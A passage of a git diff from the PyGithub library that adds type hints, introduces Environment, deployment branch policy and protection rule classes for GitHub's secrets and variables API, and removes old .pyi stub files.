_useAttributes(self, attributes: Dict[str, Any]) -> None: + if "total_seats_consumed" in attributes: # pragma no branch + self._total_seats_consumed = self._makeIntAttribute(attributes["total_seats_consumed"]) + if "total_seats_purchased" in attributes: # pragma no branch + self._total_seats_purchased = self._makeIntAttribute(attributes["total_seats_purchased"]) + if "enterprise" in attributes: # pragma no branch + self._enterprise = self._makeStringAttribute(attributes["enterprise"]) + if "url" in attributes: # pragma no branch + self._url = self._makeStringAttribute(attributes["url"]) diff --git a/github/Environment.py b/github/Environment.py new file mode 100644 index 0000000000..69b95cde18 --- /dev/null +++ b/github/Environment.py @@ -0,0 +1,293 @@ +############################ Copyrights and license ############################ +# # +# Copyright 2012 Vincent Jacques # +# Copyright 2012 Zearin # +# Copyright 2013 AKFish # +# Copyright 2013 Vincent Jacques # +# Copyright 2014 Vincent Jacques # +# Copyright 2016 Jannis Gebauer # +# Copyright 2016 Peter Buckley # +# Copyright 2017 Jannis Gebauer # +# Copyright 2017 Simon # +# Copyright 2018 sfdye # +# Copyright 2019 Steve Kowalik # +# Copyright 2019 Wan Liuyang # +# Copyright 2020 Steve Kowalik # +# Copyright 2021 Steve Kowalik # +# Copyright 2023 Andrew Dawes <53574062+AndrewJDawes@users.noreply.github.com> # +# Copyright 2023 Enrico Minack # +# Copyright 2023 Trim21 # +# Copyright 2023 alson # +# # +# This file is part of PyGithub. # +# http://pygithub.readthedocs.io/ # +# # +# PyGithub is free software: you can redistribute it and/or modify it under # +# the terms of the GNU Lesser General Public License as published by the Free # +# Software Foundation, either version 3 of the License, or (at your option) # +# any later version. # +# # +# PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # +# WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # +# FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # +# details. # +# # +# You should have received a copy of the GNU Lesser General Public License # +# along with PyGithub. If not, see . # +# # +################################################################################ + +from __future__ import annotations + +from datetime import datetime +from typing import TYPE_CHECKING, Any + +import github.EnvironmentDeploymentBranchPolicy +import github.EnvironmentProtectionRule +from github.GithubObject import Attribute, CompletableGithubObject, NotSet +from github.PaginatedList import PaginatedList +from github.PublicKey import PublicKey +from github.Secret import Secret +from github.Variable import Variable + +if TYPE_CHECKING: + from github.EnvironmentDeploymentBranchPolicy import EnvironmentDeploymentBranchPolicy + from github.EnvironmentProtectionRule import EnvironmentProtectionRule + + +class Environment(CompletableGithubObject): + """ + This class represents Environment. The reference can be found here https://docs.github.com/en/rest/reference/deployments#environments + """ + + def _initAttributes(self) -> None: + self._created_at: Attribute[datetime] = NotSet + self._html_url: Attribute[str] = NotSet + self._id: Attribute[int] = NotSet + self._name: Attribute[str] = NotSet + self._node_id: Attribute[str] = NotSet + self._protection_rules: Attribute[list[EnvironmentProtectionRule]] = NotSet + self._updated_at: Attribute[datetime] = NotSet + self._environments_url: Attribute[str] = NotSet + self._url: Attribute[str] = NotSet + self._deployment_branch_policy: Attribute[EnvironmentDeploymentBranchPolicy] = NotSet + + def __repr__(self) -> str: + return self.get__repr__({"name": self._name.value}) + + @property + def created_at(self) -> datetime: + self._completeIfNotSet(self._created_at) + return self._created_at.value + + @property + def html_url(self) -> str: + self._completeIfNotSet(self._html_url) + return self._html_url.value + + @property + def id(self) -> int: + self._completeIfNotSet(self._id) + return self._id.value + + @property + def name(self) -> str: + self._completeIfNotSet(self._name) + return self._name.value + + @property + def node_id(self) -> str: + self._completeIfNotSet(self._node_id) + return self._node_id.value + + @property + def protection_rules( + self, + ) -> list[EnvironmentProtectionRule]: + self._completeIfNotSet(self._protection_rules) + return self._protection_rules.value + + @property + def updated_at(self) -> datetime: + self._completeIfNotSet(self._updated_at) + return self._updated_at.value + + @property + def environments_url(self) -> str: + """ + :type: string + """ + return self._environments_url.value + + @property + def url(self) -> str: + """ + :type: string + """ + # Construct url from environments_url and name, if self._url. is not set + if self._url is NotSet: + self._url = self._makeStringAttribute(self.environments_url + "/" + self.name) + return self._url.value + + @property + def deployment_branch_policy( + self, + ) -> EnvironmentDeploymentBranchPolicy: + self._completeIfNotSet(self._deployment_branch_policy) + return self._deployment_branch_policy.value + + def get_public_key(self) -> PublicKey: + """ + :calls: `GET /repositories/{repository_id}/environments/{environment_name}/secrets/public-key `_ + :rtype: :class:`PublicKey` + """ + # https://stackoverflow.com/a/76474814 + # https://docs.github.com/en/rest/secrets?apiVersion=2022-11-28#get-an-environment-public-key + headers, data = self._requester.requestJsonAndCheck("GET", f"{self.url}/secrets/public-key") + return PublicKey(self._requester, headers, data, completed=True) + + def create_secret(self, secret_name: str, unencrypted_value: str) -> Secret: + """ + :calls: `PUT /repositories/{repository_id}/environments/{environment_name}/secrets/{secret_name} `_ + """ + assert isinstance(secret_name, str), secret_name + assert isinstance(unencrypted_value, str), unencrypted_value + public_key = self.get_public_key() + payload = public_key.encrypt(unencrypted_value) + put_parameters = { + "key_id": public_key.key_id, + "encrypted_value": payload, + } + self._requester.requestJsonAndCheck("PUT", f"{self.url}/secrets/{secret_name}", input=put_parameters) + return Secret( + requester=self._requester, + headers={}, + attributes={ + "name": secret_name, + "url": f"{self.url}/secrets/{secret_name}", + }, + completed=False, + ) + + def get_secrets(self) -> PaginatedList[Secret]: + """ + Gets all repository secrets + """ + return PaginatedList( + Secret, + self._requester, + f"{self.url}/secrets", + None, + attributesTransformer=PaginatedList.override_attributes({"secrets_url": f"{self.url}/secrets"}), + list_item="secrets", + ) + + def get_secret(self, secret_name: str) -> Secret: + """ + :calls: 'GET /repositories/{repository_id}/environments/{environment_name}/secrets/{secret_name} `_ + """ + assert isinstance(secret_name, str), secret_name + return Secret( + requester=self._requester, + headers={}, + attributes={"url": f"{self.url}/secrets/{secret_name}"}, + completed=False, + ) + + def create_variable(self, variable_name: str, value: str) -> Variable: + """ + :calls: `POST /repositories/{repository_id}/environments/{environment_name}/variables/{variable_name} `_ + """ + assert isinstance(variable_name, str), variable_name + assert isinstance(value, str), value + post_parameters = { + "name": variable_name, + "value": value, + } + self._requester.requestJsonAndCheck("POST", f"{self.url}/variables", input=post_parameters) + return Variable( + self._requester, + headers={}, + attributes={ + "name": variable_name, + "value": value, + "url": f"{self.url}/variables/{variable_name}", + }, + completed=False, + ) + + def get_variables(self) -> PaginatedList[Variable]: + """ + Gets all repository variables + :rtype: :class:`PaginatedList` of :class:`Variable` + """ + return PaginatedList( + Variable, + self._requester, + f"{self.url}/variables", + None, + attributesTransformer=PaginatedList.override_attributes({"variables_url": f"{self.url}/variables"}), + list_item="variables", + ) + + def get_variable(self, variable_name: str) -> Variable: + """ + :calls: 'GET /orgs/{org}/variables/{variable_name} `_ + :param variable_name: string + :rtype: Variable + """ + assert isinstance(variable_name, str), variable_name + return Variable( + requester=self._requester, + headers={}, + attributes={"url": f"{self.url}/variables/{variable_name}"}, + completed=False, + ) + + def delete_secret(self, secret_name: str) -> bool: + """ + :calls: `DELETE /repositories/{repository_id}/environments/{environment_name}/secrets/{secret_name} `_ + :param secret_name: string + :rtype: bool + """ + assert isinstance(secret_name, str), secret_name + status, headers, data = self._requester.requestJson("DELETE", f"{self.url}/secrets/{secret_name}") + return status == 204 + + def delete_variable(self, variable_name: str) -> bool: + """ + :calls: `DELETE /repositories/{repository_id}/environments/{environment_name}/variables/{variable_name} `_ + :param variable_name: string + :rtype: bool + """ + assert isinstance(variable_name, str), variable_name + status, headers, data = self._requester.requestJson("DELETE", f"{self.url}/variables/{variable_name}") + return status == 204 + + def _useAttributes(self, attributes: dict[str, Any]) -> None: + if "created_at" in attributes: # pragma no branch + self._created_at = self._makeDatetimeAttribute(attributes["created_at"]) + if "html_url" in attributes: # pragma no branch + self._html_url = self._makeStringAttribute(attributes["html_url"]) + if "id" in attributes: # pragma no branch + self._id = self._makeIntAttribute(attributes["id"]) + if "name" in attributes: # pragma no branch + self._name = self._makeStringAttribute(attributes["name"]) + if "node_id" in attributes: # pragma no branch + self._node_id = self._makeStringAttribute(attributes["node_id"]) + if "protection_rules" in attributes: # pragma no branch + self._protection_rules = self._makeListOfClassesAttribute( + github.EnvironmentProtectionRule.EnvironmentProtectionRule, + attributes["protection_rules"], + ) + if "updated_at" in attributes: # pragma no branch + self._updated_at = self._makeDatetimeAttribute(attributes["updated_at"]) + if "environments_url" in attributes: + self._environments_url = self._makeStringAttribute(attributes["environments_url"]) + if "url" in attributes: # pragma no branch + self._url = self._makeStringAttribute(attributes["url"]) + if "deployment_branch_policy" in attributes: # pragma no branch + self._deployment_branch_policy = self._makeClassAttribute( + github.EnvironmentDeploymentBranchPolicy.EnvironmentDeploymentBranchPolicy, + attributes["deployment_branch_policy"], + ) diff --git a/github/EnvironmentDeploymentBranchPolicy.py b/github/EnvironmentDeploymentBranchPolicy.py new file mode 100644 index 0000000000..cf3bce2d55 --- /dev/null +++ b/github/EnvironmentDeploymentBranchPolicy.py @@ -0,0 +1,73 @@ +############################ Copyrights and license ############################ +# # +# Copyright 2023 Enrico Minack # +# Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # +# Copyright 2023 Trim21 # +# Copyright 2023 alson # +# # +# This file is part of PyGithub. # +# http://pygithub.readthedocs.io/ # +# # +# PyGithub is free software: you can redistribute it and/or modify it under # +# the terms of the GNU Lesser General Public License as published by the Free # +# Software Foundation, either version 3 of the License, or (at your option) # +# any later version. # +# # +# PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # +# WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # +# FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # +# details. # +# # +# You should have received a copy of the GNU Lesser General Public License # +# along with PyGithub. If not, see . # +# # +################################################################################ + +from typing import Any, Dict + +from github.GithubObject import Attribute, NonCompletableGithubObject, NotSet + + +class EnvironmentDeploymentBranchPolicy(NonCompletableGithubObject): + """ + This class represents a deployment branch policy for an environment. The reference can be found here https://docs.github.com/en/rest/reference/deployments#environments + """ + + def _initAttributes(self) -> None: + self._protected_branches: Attribute[bool] = NotSet + self._custom_branch_policies: Attribute[bool] = NotSet + + def __repr__(self) -> str: + return self.get__repr__({}) + + @property + def protected_branches(self) -> bool: + return self._protected_branches.value + + @property + def custom_branch_policies(self) -> bool: + return self._custom_branch_policies.value + + def _useAttributes(self, attributes: Dict[str, Any]) -> None: + if "protected_branches" in attributes: # pragma no branch + self._protected_branches = self._makeBoolAttribute(attributes["protected_branches"]) + if "custom_branch_policies" in attributes: # pragma no branch + self._custom_branch_policies = self._makeBoolAttribute(attributes["custom_branch_policies"]) + + +class EnvironmentDeploymentBranchPolicyParams: + """ + This class presents the deployment branch policy parameters as can be configured for an Environment. + """ + + def __init__(self, protected_branches: bool = False, custom_branch_policies: bool = False): + assert isinstance(protected_branches, bool) + assert isinstance(custom_branch_policies, bool) + self.protected_branches = protected_branches + self.custom_branch_policies = custom_branch_policies + + def _asdict(self) -> dict: + return { + "protected_branches": self.protected_branches, + "custom_branch_policies": self.custom_branch_policies, + } diff --git a/github/EnvironmentProtectionRule.py b/github/EnvironmentProtectionRule.py new file mode 100644 index 0000000000..fcb7c2f1a6 --- /dev/null +++ b/github/EnvironmentProtectionRule.py @@ -0,0 +1,101 @@ +############################ Copyrights and license ############################ +# # +# Copyright 2012 Vincent Jacques # +# Copyright 2012 Zearin # +# Copyright 2013 Vincent Jacques # +# Copyright 2014 Vincent Jacques # +# Copyright 2016 Peter Buckley # +# Copyright 2018 Wan Liuyang # +# Copyright 2018 sfdye # +# Copyright 2019 Adam Baratz # +# Copyright 2019 Nick Campbell # +# Copyright 2019 Steve Kowalik # +# Copyright 2019 Wan Liuyang # +# Copyright 2020 Steve Kowalik # +# Copyright 2021 Steve Kowalik # +# Copyright 2022 Marco Köpcke # +# Copyright 2023 Enrico Minack # +# Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # +# Copyright 2023 Trim21 # +# Copyright 2023 alson # +# # +# This file is part of PyGithub. # +# http://pygithub.readthedocs.io/ # +# # +# PyGithub is free software: you can redistribute it and/or modify it under # +# the terms of the GNU Lesser General Public License as published by the Free # +# Software Foundation, either version 3 of the License, or (at your option) # +# any later version. # +# # +# PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # +# WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # +# FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # +# details. # +# # +# You should have received a copy of the GNU Lesser General Public License # +# along with PyGithub. If not, see . # +# # +################################################################################ + +from __future__ import annotations + +from typing import TYPE_CHECKING, Any + +import github.EnvironmentProtectionRuleReviewer +from github.GithubObject import Attribute, NonCompletableGithubObject, NotSet + +if TYPE_CHECKING: + from github.EnvironmentProtectionRuleReviewer import EnvironmentProtectionRuleReviewer + + +class EnvironmentProtectionRule(NonCompletableGithubObject): + """ + This class represents a protection rule for an environment. The reference can be found here https://docs.github.com/en/rest/reference/deployments#environments + """ + + def _initAttributes(self) -> None: + self._id: Attribute[int] = NotSet + self._node_id: Attribute[str] = NotSet + self._type: Attribute[str] = NotSet + self._reviewers: Attribute[list[EnvironmentProtectionRuleReviewer]] = NotSet + self._wait_timer: Attribute[int] = NotSet + + def __repr__(self) -> str: + return self.get__repr__({"id": self._id.value}) + + @property + def id(self) -> int: + return self._id.value + + @property + def node_id(self) -> str: + return self._node_id.value + + @property + def type(self) -> str: + return self._type.value + + @property + def reviewers( + self, + ) -> list[EnvironmentProtectionRuleReviewer]: + return self._reviewers.value + + @property + def wait_timer(self) -> int: + return self._wait_timer.value + + def _useAttributes(self, attributes: dict[str, Any]) -> None: + if "id" in attributes: # pragma no branch + self._id = self._makeIntAttribute(attributes["id"]) + if "node_id" in attributes: # pragma no branch + self._node_id = self._makeStringAttribute(attributes["node_id"]) + if "type" in attributes: # pragma no branch + self._type = self._makeStringAttribute(attributes["type"]) + if "reviewers" in attributes: # pragma no branch + self._reviewers = self._makeListOfClassesAttribute( + github.EnvironmentProtectionRuleReviewer.EnvironmentProtectionRuleReviewer, + attributes["reviewers"], + ) + if "wait_timer" in attributes: # pragma no branch + self._wait_timer = self._makeIntAttribute(attributes["wait_timer"]) diff --git a/github/EnvironmentProtectionRuleReviewer.py b/github/EnvironmentProtectionRuleReviewer.py new file mode 100644 index 0000000000..9ef49af558 --- /dev/null +++ b/github/EnvironmentProtectionRuleReviewer.py @@ -0,0 +1,94 @@ +############################ Copyrights and license ############################ +# # +# Copyright 2012 Vincent Jacques # +# Copyright 2012 Zearin # +# Copyright 2013 Vincent Jacques # +# Copyright 2014 Vincent Jacques # +# Copyright 2016 Peter Buckley # +# Copyright 2018 Wan Liuyang # +# Copyright 2018 sfdye # +# Copyright 2019 Adam Baratz # +# Copyright 2019 Nick Campbell # +# Copyright 2019 Steve Kowalik # +# Copyright 2019 Wan Liuyang # +# Copyright 2020 Steve Kowalik # +# Copyright 2021 Steve Kowalik # +# Copyright 2023 Enrico Minack # +# Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # +# Copyright 2023 Trim21 # +# Copyright 2023 alson # +# # +# This file is part of PyGithub. # +# http://pygithub.readthedocs.io/ # +# # +# PyGithub is free software: you can redistribute it and/or modify it under # +# the terms of the GNU Lesser General Public License as published by the Free # +# Software Foundation, either version 3 of the License, or (at your option) # +# any later version. # +# # +# PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # +# WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # +# FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # +# details. # +# # +# You should have received a copy of the GNU Lesser General Public License # +# along with PyGithub. If not, see . # +# # +################################################################################ + +from __future__ import annotations + +from typing import Any + +import github.NamedUser +import github.Team +from github.GithubObject import Attribute, NonCompletableGithubObject, NotSet + + +class EnvironmentProtectionRuleReviewer(NonCompletableGithubObject): + """ + This class represents a reviewer for an EnvironmentProtectionRule. The reference can be found here https://docs.github.com/en/rest/reference/deployments#environments + """ + + def _initAttributes(self) -> None: + self._type: Attribute[str] = NotSet + self._reviewer: Attribute[github.NamedUser.NamedUser | github.Team.Team] = NotSet + + def __repr__(self) -> str: + return self.get__repr__({"type": self._type.value}) + + @property + def type(self) -> str: + return self._type.value + + @property + def reviewer(self) -> github.NamedUser.NamedUser | github.Team.Team: + return self._reviewer.value + + def _useAttributes(self, attributes: dict[str, Any]) -> None: + if "type" in attributes: # pragma no branch + self._type = self._makeStringAttribute(attributes["type"]) + if "reviewer" in attributes: # pragma no branch + assert self._type.value in ("User", "Team") + if self._type.value == "User": + self._reviewer = self._makeClassAttribute(github.NamedUser.NamedUser, attributes["reviewer"]) + elif self._type.value == "Team": + self._reviewer = self._makeClassAttribute(github.Team.Team, attributes["reviewer"]) + + +class ReviewerParams: + """ + This class presents reviewers as can be configured for an Environment. + """ + + def __init__(self, type_: str, id_: int): + assert isinstance(type_, str) and type_ in ("User", "Team") + assert isinstance(id_, int) + self.type = type_ + self.id = id_ + + def _asdict(self) -> dict: + return { + "type": self.type, + "id": self.id, + } diff --git a/github/Event.py b/github/Event.py index 61d0377318..788e9f2b07 100644 --- a/github/Event.py +++ b/github/Event.py @@ -9,6 +9,13 @@ # Copyright 2016 Jannis Gebauer # # Copyright 2016 Peter Buckley # # Copyright 2018 sfdye # +# Copyright 2019 Steve Kowalik # +# Copyright 2019 Wan Liuyang # +# Copyright 2020 Steve Kowalik # +# Copyright 2021 Steve Kowalik # +# Copyright 2023 Enrico Minack # +# Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # +# Copyright 2023 Trim21 # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # @@ -28,106 +35,82 @@ # # ################################################################################ +from __future__ import annotations + +from datetime import datetime +from typing import Any + import github.GithubObject import github.NamedUser import github.Organization import github.Repository +from github.GithubObject import Attribute, NonCompletableGithubObject, NotSet -class Event(github.GithubObject.NonCompletableGithubObject): +class Event(NonCompletableGithubObject): """ This class represents Events. The reference can be found here https://docs.github.com/en/rest/reference/activity#events """ - def __repr__(self): + def _initAttributes(self) -> None: + self._actor: Attribute[github.NamedUser.NamedUser] = NotSet + self._created_at: Attribute[datetime] = NotSet + self._id: Attribute[str] = NotSet + self._org: Attribute[github.Organization.Organization] = NotSet + self._payload: Attribute[dict[str, Any]] = NotSet + self._public: Attribute[bool] = NotSet + self._repo: Attribute[github.Repository.Repository] = NotSet + self._type: Attribute[str] = NotSet + + def __repr__(self) -> str: return self.get__repr__({"id": self._id.value, "type": self._type.value}) @property - def actor(self): - """ - :type: :class:`github.NamedUser.NamedUser` - """ + def actor(self) -> github.NamedUser.NamedUser: return self._actor.value @property - def created_at(self): - """ - :type: datetime.datetime - """ + def created_at(self) -> datetime: return self._created_at.value @property - def id(self): - """ - :type: string - """ + def id(self) -> str: return self._id.value @property - def org(self): - """ - :type: :class:`github.Organization.Organization` - """ + def org(self) -> github.Organization.Organization: return self._org.value @property - def payload(self): - """ - :type: dict - """ + def payload(self) -> dict[str, Any]: return self._payload.value @property - def public(self): - """ - :type: bool - """ + def public(self) -> bool: return self._public.value @property - def repo(self): - """ - :type: :class:`github.Repository.Repository` - """ + def repo(self) -> github.Repository.Repository: return self._repo.value @property - def type(self): - """ - :type: string - """ + def type(self) -> str: return self._type.value - def _initAttributes(self): - self._actor = github.GithubObject.NotSet - self._created_at = github.GithubObject.NotSet - self._id = github.GithubObject.NotSet - self._org = github.GithubObject.NotSet - self._payload = github.GithubObject.NotSet - self._public = github.GithubObject.NotSet - self._repo = github.GithubObject.NotSet - self._type = github.GithubObject.NotSet - - def _useAttributes(self, attributes): + def _useAttributes(self, attributes: dict[str, Any]) -> None: if "actor" in attributes: # pragma no branch - self._actor = self._makeClassAttribute( - github.NamedUser.NamedUser, attributes["actor"] - ) + self._actor = self._makeClassAttribute(github.NamedUser.NamedUser, attributes["actor"]) if "created_at" in attributes: # pragma no branch self._created_at = self._makeDatetimeAttribute(attributes["created_at"]) if "id" in attributes: # pragma no branch self._id = self._makeStringAttribute(attributes["id"]) if "org" in attributes: # pragma no branch - self._org = self._makeClassAttribute( - github.Organization.Organization, attributes["org"] - ) + self._org = self._makeClassAttribute(github.Organization.Organization, attributes["org"]) if "payload" in attributes: # pragma no branch self._payload = self._makeDictAttribute(attributes["payload"]) if "public" in attributes: # pragma no branch self._public = self._makeBoolAttribute(attributes["public"]) if "repo" in attributes: # pragma no branch - self._repo = self._makeClassAttribute( - github.Repository.Repository, attributes["repo"] - ) + self._repo = self._makeClassAttribute(github.Repository.Repository, attributes["repo"]) if "type" in attributes: # pragma no branch self._type = self._makeStringAttribute(attributes["type"]) diff --git a/github/Event.pyi b/github/Event.pyi deleted file mode 100644 index a32dffb74e..0000000000 --- a/github/Event.pyi +++ /dev/null @@ -1,28 +0,0 @@ -from datetime import datetime -from typing import Any, Dict - -from github.GithubObject import NonCompletableGithubObject -from github.NamedUser import NamedUser -from github.Organization import Organization -from github.Repository import Repository - -class Event(NonCompletableGithubObject): - def __repr__(self) -> str: ... - def _initAttributes(self) -> None: ... - def _useAttributes(self, attributes: Dict[str, Any]) -> None: ... - @property - def actor(self) -> NamedUser: ... - @property - def created_at(self) -> datetime: ... - @property - def id(self) -> str: ... - @property - def org(self) -> Organization: ... - @property - def payload(self) -> Dict[str, Any]: ... - @property - def public(self) -> bool: ... - @property - def repo(self) -> Repository: ... - @property - def type(self) -> str: ... diff --git a/github/File.py b/github/File.py index cc07442cae..2e796be62a 100644 --- a/github/File.py +++ b/github/File.py @@ -11,6 +11,12 @@ # Copyright 2017 Simon # # Copyright 2018 Wan Liuyang # # Copyright 2018 sfdye # +# Copyright 2019 Steve Kowalik # +# Copyright 2019 Wan Liuyang # +# Copyright 2020 Steve Kowalik # +# Copyright 2023 Enrico Minack # +# Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # +# Copyright 2023 Trim21 # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # @@ -30,110 +36,77 @@ # # ################################################################################ -import github.GithubObject +from typing import Any, Dict +from github.GithubObject import Attribute, NonCompletableGithubObject, NotSet -class File(github.GithubObject.NonCompletableGithubObject): + +class File(NonCompletableGithubObject): """ This class represents Files """ - def __repr__(self): - return self.get__repr__( - {"sha": self._sha.value, "filename": self._filename.value} - ) + def _initAttributes(self) -> None: + self._additions: Attribute[int] = NotSet + self._blob_url: Attribute[str] = NotSet + self._changes: Attribute[int] = NotSet + self._contents_url: Attribute[str] = NotSet + self._deletions: Attribute[int] = NotSet + self._filename: Attribute[str] = NotSet + self._patch: Attribute[str] = NotSet + self._previous_filename: Attribute[str] = NotSet + self._raw_url: Attribute[str] = NotSet + self._sha: Attribute[str] = NotSet + self._status: Attribute[str] = NotSet + + def __repr__(self) -> str: + return self.get__repr__({"sha": self._sha.value, "filename": self._filename.value}) @property - def additions(self): - """ - :type: integer - """ + def additions(self) -> int: return self._additions.value @property - def blob_url(self): - """ - :type: string - """ + def blob_url(self) -> str: return self._blob_url.value @property - def changes(self): - """ - :type: integer - """ + def changes(self) -> int: return self._changes.value @property - def contents_url(self): - """ - :type: string - """ + def contents_url(self) -> str: return self._contents_url.value @property - def deletions(self): - """ - :type: integer - """ + def deletions(self) -> int: return self._deletions.value @property - def filename(self): - """ - :type: string - """ + def filename(self) -> str: return self._filename.value @property - def patch(self): - """ - :type: string - """ + def patch(self) -> str: return self._patch.value @property - def previous_filename(self): - """ - :type: string - """ + def previous_filename(self) -> str: return self._previous_filename.value @property - def raw_url(self): - """ - :type: string - """ + def raw_url(self) -> str: return self._raw_url.value @property - def sha(self): - """ - :type: string - """ + def sha(self) -> str: return self._sha.value @property - def status(self): - """ - :type: string - """ + def status(self) -> str: return self._status.value - def _initAttributes(self): - self._additions = github.GithubObject.NotSet - self._blob_url = github.GithubObject.NotSet - self._changes = github.GithubObject.NotSet - self._contents_url = github.GithubObject.NotSet - self._deletions = github.GithubObject.NotSet - self._filename = github.GithubObject.NotSet - self._patch = github.GithubObject.NotSet - self._previous_filename = github.GithubObject.NotSet - self._raw_url = github.GithubObject.NotSet - self._sha = github.GithubObject.NotSet - self._status = github.GithubObject.NotSet - - def _useAttributes(self, attributes): + def _useAttributes(self, attributes: Dict[str, Any]) -> None: if "additions" in attributes: # pragma no branch self._additions = self._makeIntAttribute(attributes["additions"]) if "blob_url" in attributes: # pragma no branch @@ -149,9 +122,7 @@ def _useAttributes(self, attributes): if "patch" in attributes: # pragma no branch self._patch = self._makeStringAttribute(attributes["patch"]) if "previous_filename" in attributes: # pragma no branch - self._previous_filename = self._makeStringAttribute( - attributes["previous_filename"] - ) + self._previous_filename = self._makeStringAttribute(attributes["previous_filename"]) if "raw_url" in attributes: # pragma no branch self._raw_url = self._makeStringAttribute(attributes["raw_url"]) if "sha" in attributes: # pragma no branch diff --git a/github/File.pyi b/github/File.pyi deleted file mode 100644 index 83097c3695..0000000000 --- a/github/File.pyi +++ /dev/null @@ -1,30 +0,0 @@ -from typing import Any, Dict - -from github.GithubObject import NonCompletableGithubObject - -class File(NonCompletableGithubObject): - def __repr__(self) -> str: ... - def _initAttributes(self) -> None: ... - def _useAttributes(self, attributes: Dict[str, Any]) -> None: ... - @property - def additions(self) -> int: ... - @property - def blob_url(self) -> str: ... - @property - def changes(self) -> int: ... - @property - def contents_url(self) -> str: ... - @property - def deletions(self) -> int: ... - @property - def filename(self) -> str: ... - @property - def patch(self) -> str: ... - @property - def raw_url(self) -> str: ... - @property - def sha(self) -> str: ... - @property - def status(self) -> str: ... - @property - def previous_filename(self) -> str: ... diff --git a/github/FirstPatchedVersion.py b/github/FirstPatchedVersion.py index ed34e217b8..3253895fae 100644 --- a/github/FirstPatchedVersion.py +++ b/github/FirstPatchedVersion.py @@ -1,14 +1,14 @@ -import github.Commit -import github.GithubObject -import github.NamedUser +from typing import Any, Dict +from github.GithubObject import Attribute, NonCompletableGithubObject, NotSet -class FirstPatchedVersion(github.GithubObject.NonCompletableGithubObject): + +class FirstPatchedVersion(NonCompletableGithubObject): """ This class represents FirstPatchedVersion. The reference can be found in the alert here https://docs.github.com/en/rest/dependabot/alerts#get-a-dependabot-alert """ - def __repr__(self): + def __repr__(self) -> str: return self.get__repr__( { "identifier": self._identifier.value, @@ -16,15 +16,15 @@ def __repr__(self): ) @property - def identifier(self): + def identifier(self) -> str: """ :type: string """ return self._identifier.value - def _initAttributes(self): - self._identifier = github.GithubObject.NotSet + def _initAttributes(self) -> None: + self._identifier: Attribute[str] = NotSet - def _useAttributes(self, attributes): + def _useAttributes(self, attributes: Dict[str, Any]) -> None: if "identifier" in attributes: # pragma no branch self._identifier = self._makeStringAttribute(attributes["identifier"]) diff --git a/github/FirstPatchedVersion.pyi b/github/FirstPatchedVersion.pyi deleted file mode 100644 index 4e3954784d..0000000000 --- a/github/FirstPatchedVersion.pyi +++ /dev/null @@ -1,10 +0,0 @@ -from typing import Any, Dict - -from github.GithubObject import NonCompletableGithubObject - -class FirstPatchedVersion(NonCompletableGithubObject): - def __repr__(self) -> str: ... - def _initAttributes(self) -> None: ... - def _useAttributes(self, attributes: Dict[str, Any]) -> None: ... - @property - def identifier(self) -> str: ... diff --git a/github/Gist.py b/github/Gist.py index b8187305a8..15355ea67f 100644 --- a/github/Gist.py +++ b/github/Gist.py @@ -11,7 +11,16 @@ # Copyright 2016 Peter Buckley # # Copyright 2018 Wan Liuyang # # Copyright 2018 sfdye # -# Copyright 2018 羽 # +# Copyright 2018 羽 # +# Copyright 2019 Jon Dufresne # +# Copyright 2019 Steve Kowalik # +# Copyright 2019 Wan Liuyang # +# Copyright 2020 Steve Kowalik # +# Copyright 2021 Mark Walker # +# Copyright 2021 Steve Kowalik # +# Copyright 2023 Enrico Minack # +# Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # +# Copyright 2023 Trim21 # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # @@ -31,307 +40,230 @@ # # ################################################################################ +from __future__ import annotations + +from datetime import datetime +from typing import TYPE_CHECKING, Any + import github.GistComment import github.GistFile import github.GistHistoryState import github.GithubObject import github.NamedUser import github.PaginatedList +from github.GithubObject import Attribute, CompletableGithubObject, NotSet, Opt, _NotSetType, is_defined, is_optional +from github.PaginatedList import PaginatedList +if TYPE_CHECKING: + from github.GistComment import GistComment + from github.GistHistoryState import GistHistoryState + from github.InputFileContent import InputFileContent -class Gist(github.GithubObject.CompletableGithubObject): + +class Gist(CompletableGithubObject): """ This class represents Gists. The reference can be found here https://docs.github.com/en/rest/reference/gists """ - def __repr__(self): + def _initAttributes(self) -> None: + self._comments: Attribute[int] = NotSet + self._comments_url: Attribute[str] = NotSet + self._commits_url: Attribute[str] = NotSet + self._created_at: Attribute[datetime] = NotSet + self._description: Attribute[str] = NotSet + self._files: Attribute[dict[str, github.GistFile.GistFile]] = NotSet + self._fork_of: Attribute[Gist] = NotSet + self._forks: Attribute[list[Gist]] = NotSet + self._forks_url: Attribute[str] = NotSet + self._git_pull_url: Attribute[str] = NotSet + self._git_push_url: Attribute[str] = NotSet + self._history: Attribute[list[GistHistoryState]] = NotSet + self._html_url: Attribute[str] = NotSet + self._id: Attribute[str] = NotSet + self._owner: Attribute[github.NamedUser.NamedUser] = NotSet + self._public: Attribute[bool] = NotSet + self._updated_at: Attribute[datetime] = NotSet + self._url: Attribute[str] = NotSet + self._user: Attribute[github.NamedUser.NamedUser] = NotSet + + def __repr__(self) -> str: return self.get__repr__({"id": self._id.value}) @property - def comments(self): - """ - :type: integer - """ + def comments(self) -> int: self._completeIfNotSet(self._comments) return self._comments.value @property - def comments_url(self): - """ - :type: string - """ + def comments_url(self) -> str: self._completeIfNotSet(self._comments_url) return self._comments_url.value @property - def commits_url(self): - """ - :type: string - """ + def commits_url(self) -> str: self._completeIfNotSet(self._commits_url) return self._commits_url.value @property - def 